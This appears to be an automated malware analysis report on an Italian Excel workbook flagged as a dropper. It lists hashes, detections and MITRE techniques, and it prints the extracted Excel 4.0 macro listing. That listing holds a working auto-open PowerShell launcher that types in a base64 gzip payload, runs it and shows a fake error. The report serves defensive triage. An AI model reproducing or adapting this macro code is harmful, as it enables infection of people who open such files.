Office (OLE) malware analysis — malicious · 667bf38344d823ec

MALICIOUS

Office (OLE)

43.5 KB Created: 2020-03-31 08:17:24 Authoring application: Microsoft Excel First seen: 2020-07-24

MD5: 628dfe4480a4f71f7608a7e78bb7d860 SHA-1: b68b0d8dd7385bd11eccb528bf5eff897e7887ff SHA-256: 667bf38344d823ecf4da48069ea10f5ee835706c9f3524041a74cc7bf95aa735

240 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros with an Auto_Open entry, which is designed to execute automatically upon opening. The macros contain commands to execute PowerShell, including setting the execution policy and potentially downloading further payloads. The ClamAV signature 'Xls.Dropper.Agent-7650691-0' further indicates its malicious nature as a dropper.

Heuristics 6

ClamAV: Xls.Dropper.Agent-7650691-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.Agent-7650691-0
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	6300 bytes
SHA-256: `716482b4cd879ac2b6d6b4042e6eef32b6c993c261ce97b3fc83e25fb0930a46`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 shell/COM execution token(s). 83 of 154 identifiers look randomly generated (e.g. 'Jbh5d1fIUF1yD872ujxXMjWhJ6QllCxOM1uKKjec') — consistent with name-mangling obfuscation. Carved artifact contains 5 long base64-like blob(s). Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script First 1,000 lines of the extracted script ' 0085 10 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - f ' 0085 15 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Foglio ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d f!C4049 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' Sheet,Reference,Formula,Value ' f,A1,"",1.00000000000000000000 ' f,F12,"",5.00000000000000000000 ' f,H52,"",8.00000000000000000000 ' f,C83,"",4.00000000000000000000 ' f,C168,"",0.00000000000000000000 ' f,C4049,ERROR(FALSE),"" ' f,C4050,EXEC("powershell"),"" ' f,C4051,WAIT(NOW()+"00:00:01"),"" ' f,C4052,"SEND.KEYS("$h={(}Get-Process -Id $pid{)}.MainWindowHandle;$ios={[}Runtime.InteropServices.HandleRef{]};$hw=New-Object $ios {(}1,$h{)};$i=New-Object $ios{(}2,0{)};{(}{(}{[}reflection.assembly{]}::LoadWithPartialName{(}"WindowsBase"{)}{)}.GetType{(}"MS.Win32.Unsafe",TRUE)","" ' f,C4053,"SEND.KEYS("NativeMethods"{)}{)}::SetWindowPos{(}$hw,$i,0,0,100,100,16512{)}~",TRUE)","" ' f,C4054,WAIT(NOW()+"00:00:01"),"" ' f,C4055,"SEND.KEYS("if {(}{[}IntPtr{]}::Size -ne 4{)}{{}& $env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe{}}~",TRUE)","" ' f,C4056,WAIT(NOW()+"00:00:01"),"" ' f,C4057,"SEND.KEYS("Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force~",TRUE)","" ' f,C4058,WAIT(NOW()+"00:00:01"),"" ' f,C4059,"SEND.KEYS("$b="H4sIAAAAAAAEAE1W6ZKiyBZ{+}FaOiZyzDKTdwoSfmByqbsgmIQsfEFSHZZBOQRcd3vwlWdXdFZErJyfMt52Smf3beO9/EzBVC8AP9t/8tkemYAz8Q{+}Nytur33CJQf8dIHZt7pePHAjMMkBZnsxfzAImzWyIkslwice/8ha3JOcAMmHnAgjCX4XwqM8N/ODzOOCiAp/37/TkpCuDRkYobKSsrwznune1b3rDnbMISIpuZUPjqyS{+}wp",TRUE)","" ' f,C4060,"SEND.KEYS("Tq5nCbsmCWQ{+}8{+}bmGdk7SkwxDrHWJlshsrE{+}onHiNsrVlRNjQ9vrp/OMV/cBf9F10nACMhpTVhB6Igboq4noPK9vsRzDCQTJ70BU{+}/18RYZIPtH1/mJtrpgrI3N9wV7ZDnu/XZyU8UfyzCAZo97m8m0ouyN2tJok6DkbrkdjqzSsRb9PIwUVTcd9axmXxxGD9G3teFQcOwcitxm7{+}PWiedbIELm1DRhnme{+}0JBEsYX6wMJaAigp",TRUE)","" ' f,C4061,"SEND.KEYS("AW2Xtq5Pj6GjGR2xDnK3c2ybFlKfQqa/K6hVbBqaIFHEUM4VJawc6MKxaGaPUkHZ3RVyPa5TRD{+}O5eyYqi{+}FNluM22EzYYevieuUsX0SqPu70waIOtu5ZsYg9EvTTOjRWl8XijmMMuqhHB0DYNw/RkCXqTMJFhkfihdUmJrm/WMLZCLcT9KLtl7M6ZHVLC0B6HmU7F59iKl45G907X5EaqahjfVDym8T0r/1stl{+}LpOjNj{+}iWtNAwu0",TRUE)","" ' f,C4062,WAIT(NOW()+"00:00:00"),"" ' f,C4063,"SEND.KEYS("X00bVvmpFc3YK9Lbn5Sr1UHBq4CK6QcWXeI43bxjpi41joC{+}PLejrHndmIudmzuxuUVX9mbtwxudyvQh5Y0XBfm9HKWScIViViKeDD5MqUehRNywAYAHCVbGBhLiZHTGalMeYP78m{+}pnNhg5a5G2zIGWCXSswkw0gZom7OkkGcM4eiuPOKmhieYTDLs59NwX1ph/1tEimBdvfPBBhNbVpWz9Pkkuf0zsBhKUeWZDM{+}th8DYabp3sGV93F",TRUE)","" ' f,C4064,"SEND.KEYS("/N9NGZ40gtnIszn2Xp2PSLKRDjpfTq13W40IVxLXVL/0rsfHRhThZXVfXPird96ozccsNU6Eot9Bj{+}zY6EG6{+}RDZxxZQFWuE15XjZDCGuYYq583CTr/p3XK3O9YqQFJnHiAxjcTe8sptMqXYMdvUjb3ash0cuv47pnW/K8kqfxzkeH0U6QvOQsQ9DDeD3qrL4CE/mIYgn9XJz1fp4hRVThB9q96M2X{+}9mh1hdWYV30XHZwqzpJPYLu8pM",TRUE)","" ' f,C4065,"SEND.KEYS("z9acsJTs5d6pWHS/sVMkINh5qld3nNva18PNOm{+}1Jbh5d1fIUF1yD872ujxXMjWhJ6QllCxOM1uKKjecFvXzYqdXZUofLeqSM75DrgJ7RDEgFpQLTpbWfjthqqMtEdpGdwkbTdhcmSuxehbWgUAQukwdwzq6KJvDuqQTN9qZTMn5boa6QsUgDrdaiXIe{+}v3kiC69CEFtcmLyWu45kziQI5G4HxZ1dkQF6SgW8NSQmWERclINdnssn4omvRG",TRUE)","" ' f,C4066,WAIT(NOW()+"00:00:00"),"" ' f,C4067,"SEND.KEYS("1jWiHY7cORPuGL9AQzSR0glxReWYu7yqpuEgoLnbTkKto1KRShvFZvHSr/Ti5LJdiwpVrvSYv4I7OriMJci1qVx5TU9necHATz1FfQHyWGSX38cZebavJQZWTc60na4vb{+}HgoLcspO74s5mY2LjL/vHD4DRXyel2U2VEdZiydUYvleqb4nHg2bZClx1JRSOM8WWt1ThsT815SI/qo{+}avxZeiG8aqUETbZeUx4Jtcpt87wA3YgosPVjShifC",TRUE)","" ' f,C4068,"SEND.KEYS("AdPuTlIKGXR50NzkFQYyFnVLJA{+}upt5{+}XZeiuJlHtVy/V2s5uOoWBqI6{+}p0ZLchDf1FhBTdzmslVxiEU5h9vklpqZHP54nbuliteeKl/41IfDoHjF2tMApk0hd3A5rcqbvLNpY7c7z89pw{+}NvQdpcMPnXndBkt15YTbSL3RjAVPwnhQXqXV{+}w{+}OYSMFFx0dH5BuHk9215rZcQVqnavY{+}lqVBqeaakGO5XRRcfTAbq/1Xec5Wa",TRUE)","" ' f,C4069,"SEND.KEYS("{+}P8TS2{+}Z4D3GH172hnkb8di2rk7Ngz7B8fMhJaqz62/wSqMNROlyajBX2ncU/3V7nr86PrM5ywA2aS1LgkpSQM0{+}IBquYSyRCbi7MMLYAvAQtYAqhmAI56/T{+}{+}{+}PR{+}e2G9YRBe5uGEmFYQII38/9gYgUclQGITGHtRRRMgMsm4/Wenf/{+}6DxgxEACuJXHgF{+}/d{+}C3vb87ctHpvL/Rb/23fMm99eAN/0PRRPDv{+}9tj",TRUE)","" ' f,C4070,WAIT(NOW()+"00:00:01"),"" ' f,C4071,"SEND.KEYS("/HxMno/584E8H9jzMXo{+}Zs/H4vlAn4/p8{+}2D7GYuEQQDsftXN4SDWcFJGSRwlmMWpAS{+}DuCzFwE4Z3BIcSaQ8NMUeDjHByBBM3qdv2WQd5gRUkHszo{+}8TohPcKTFnLewk5{+}wdqcLuAZDk5sscORw8ANczkBD48zWcCYDYpV78GGQAojSKIV/3x6FU5727vOfX0CTNv{+}oSd4gQpTx860D1Xm8FR9ghi2hNezlOlOafDLRsF833wx",TRUE)","" ' f,C4072,"SEND.KEYS("sQeKad/CnzKHbQHx7uMZJJURZOhHGyWK9E088/3n/9uD3J5Z9dj4i0HkfvOSNWlVIA2a3OiiQfzTKrFvjW0P7g8A7r2C0jUeaJdCCbhMgN/LiKPeiW{+}Nw3dgfgCiH634DaKIlYFjNClH{+}rEev1/vbsyEtF1dPIMlgV5ysE8vw4Nl7NPS{+}sF5eQMtXnz7TcdbCGOlHt80xeFnYwr1CRSN3YcxH0w0ga{+}l8Br0K{+}pUSmtTIhNQgJSHJ",TRUE)","" ' f,C4073,"SEND.KEYS("vTh6mdAu7vUGbzQjnxRB0k4ZflKBaCjuW{+}/xJ8yFfLk3fjVECH8dNbma{+}n8wTQLpN/tGP{+}PkvPE5aSj9{+}Xoxa1lNP5NBm9s4CnzKfVFrzG64vhhCxs3bD/HF0TtlipBq8gkvQCP97W9Y7dM{+}CJ7/fMr{+}qbkLd2/LriXKNwyVOgE/y9XGeEEDTjYvm3QvpuOv9hx9boWmrC2PluqXgy1R0LbF7xRPngwp1qfMaFw8KfTb89PFyWf",TRUE)","" ' f,C4074,WAIT(NOW()+"00:00:01"),"" ' f,C4075,"SEND.KEYS("D/yxes3e8LI/Tn1X{+}q6093bY33KAOAz{+}6hSF1{+}13GOMM5gIOA47ubn8N2rw3eVDw47Ym379{+}/7G86sVG3atUZTXq6xam7vQETFfEFvPeeIMhAW{+}DJV7t/NUu7LP2A7Zd/MjIgo3ZfBSzczt8e3gg5PlvAdtlnTdFf0jwj4I2wdad1rnGLbWxyRSNtsh5{+}UfmtcK9D4XXuNCfd4OC9ToNmSWQ1DVVmAzJOwwy63Z4BBXU6wEOmJf",TRUE)","" ' f,C4076,"SEND.KEYS("OrsE28DCLrYHi/gLp/PMh5Z/KEYj478qurP61qHGoM{+}2js6vae/weKe1XjhA0AAA==";nal no New-Object -F;iex {(}no IO.StreamReader{(}no IO.Compression.GZipStream{(}{(}no IO.MemoryStream -A @{(},{[}Convert{]}::FromBase64String{(}$b{)}{)}{)},{[}IO.Compression.Compressio",TRUE)","" ' f,C4077,"SEND.KEYS("nMode{]}::Decompress{)}{)}{)}.ReadToEnd{(}{)}~{NUMLOCK}",TRUE)","" ' f,C4078,WAIT(NOW()+"00:00:01"),"" ' f,C4079,APP.ACTIVATE(),"" ' f,C4080,ALERT("Excel non può aprire il file '"&GET.WORKBOOK(16)&"' "),"" ' f,C4081,QUIT(),""
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	767 bytes
SHA-256: `fb8f621f90ed16db10ec46cb2092d5dd772943f57a8b113de4f83497af2cb3a4`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Questa_cartella_di_lavoro" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Foglio1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Control = "f, 1, 0, MSForms, Frame" Attribute VB_Control = "gem, 2, 1, MSForms, CommandButton" Private Sub f_Layout() End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.